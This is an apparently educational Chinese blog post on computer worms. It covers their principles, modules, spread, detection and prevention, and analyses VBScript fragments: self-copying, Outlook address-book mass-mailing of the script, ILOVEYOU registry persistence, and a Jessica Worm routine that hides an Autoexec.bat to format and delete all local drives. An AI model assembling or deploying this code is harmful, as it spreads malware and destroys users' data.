参考链接: https://blog.csdn.net/vinep/article/details/3899696.
原理
- 蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。当这些新的被蠕虫入侵的计算机被控制之后,蠕虫会以这些计算机为宿主继续扫描并感染其他计算机,这种行为会一直延续下去。
结构
蠕虫的基本程序结构为:
1、传播模块:负责蠕虫的传播,这是本文要讨论的部分。
2、隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现。
3、目的功能模块:实现对计算机的控制、监视或破坏等功能。
特征
1.使用udp协议传播,传播速度快,传播面积广
2.蠕虫感染系统后,只驻留内存不在硬盘上写任何文件
3.由于发送大量的udp包会产生巨大的网络流量,造成Dos拒绝服务攻击
传播
蠕虫程序的一般传播过程为:
1.扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机。当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象。
2.攻击:攻击模块按漏洞攻击步骤自动攻击步骤1中找到的对象,取得该主机的权限。
3.复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动。
入侵过程
- 中病毒的主机扫描周围主机的漏洞,找到可利用的漏洞
- 针对漏洞攻击主机,获得管理员权限
- 在主机上安装后门、跳板、控制端、监视器等等,清除日志
检测技术
- 基于特征的检测
- 基于语义的检测
- 防火墙流量控制
防范措施
- 选购合适的杀毒软件。
- 经常升级病毒库
- 不乱点陌生邮件等
常见的蠕虫
转载链接: https://blog.51cto.com/wangxiang2010/143269
实例分析
转载链接: http://blog.sina.com.cn/s/blog_4e41d2090100a1sr.html.
一、蠕虫病毒具有自我复制能力
-
Set objFs=CreateObject (“Scripting.FileSystemObject” 创建一个文件系统对象 objFs.CreateTextFile ("C:\virus.txt", 1) 通过文件系统对象的方法创建了一个TXT文件。
如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:objFs.GetFile (WScript.ScriptFullName).Copy (“C:\virus.vbs”)
本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。
GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。
这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征――自我复制能力。
二、蠕虫病毒具有很强的传播性
-
病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:
Set objOA=Wscript.CreateObject ("Outlook.Application")'创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI")'取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count'遍历地址簿 Set objAddList=objMapi.AddressLists (i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j))'取得收件人邮件地址 objMail.Subject="你好!"'设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!"'设置信件内容 objMail.Attachments.Add (“c:\virus.vbs")'把自己作为附件扩散出去 objMail.Send'发送邮件 Next Next Set objMapi=Nothing'清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing'清空objOA变量
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。
三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
-
On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript.Shell")'击活 WScript.Shell 对象 rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")'读入注册表中的超时键值 if (rr>=1) then'超时设置 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if 修改注册表,使得每次系统启动自动执行脚本: regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
四、蠕虫病毒具有特定的触发性
- 在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
-
x=time () if x=xx.xx.xx then ………… end if
就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。
五、蠕虫病毒具有很大的破坏性
蠕虫病毒的破坏性大家都有所了解吧?我们以著名的蠕虫病毒Jessica Worm中的部分破坏代码为例来加以分析说明:
-
sub killc ()'破坏硬盘的过程 On Error Resume Next'容错语句,避免程序崩溃 dim fs,auto,disc,ds,ss,i,x,dir Set fs = CreateObject ("Scripting.FileSystemObject") Set auto = fs.CreateTextFile ("c:\Autoexec.bat", True)'建立或修改自动批处理 auto.WriteLine ("@echo off")'屏蔽掉删除的进程 auto.WriteLine ("Smartdrv")'加载磁盘缓冲,好毒啊! Set disc = fs.Drives'得到驱动器的集合 For Each ds in disc If ds.DriveType = 2 Then'如果驱动器是本地盘 ss = ss & ds.DriveLetter'就将符号连在一起 End if Next ss=LCase (StrReverse (Trim (ss)))'得到符号串的反向小写形式 For i=1 to Len (ss)'遍历每个驱动器 x=Mid (ss,i,1)'读每个驱动器的符号 auto.WriteLine ("format/autotest/q/u "&x&":")'反向 (从Z:到A:)自动格式化驱动器,狠毒啊! next For i=1 to Len (ss) x=Mid (ss,i,1) auto.WriteLine ("deltree/y "&x&":")'怕Format失效用Deltree双保险 next auto.Close'关闭批处理文件 set dir=fs.GetFile ("c:\Autoexec.bat") dir.attributes=dir.attributes+2'将自动批处理文件改为隐藏 End sub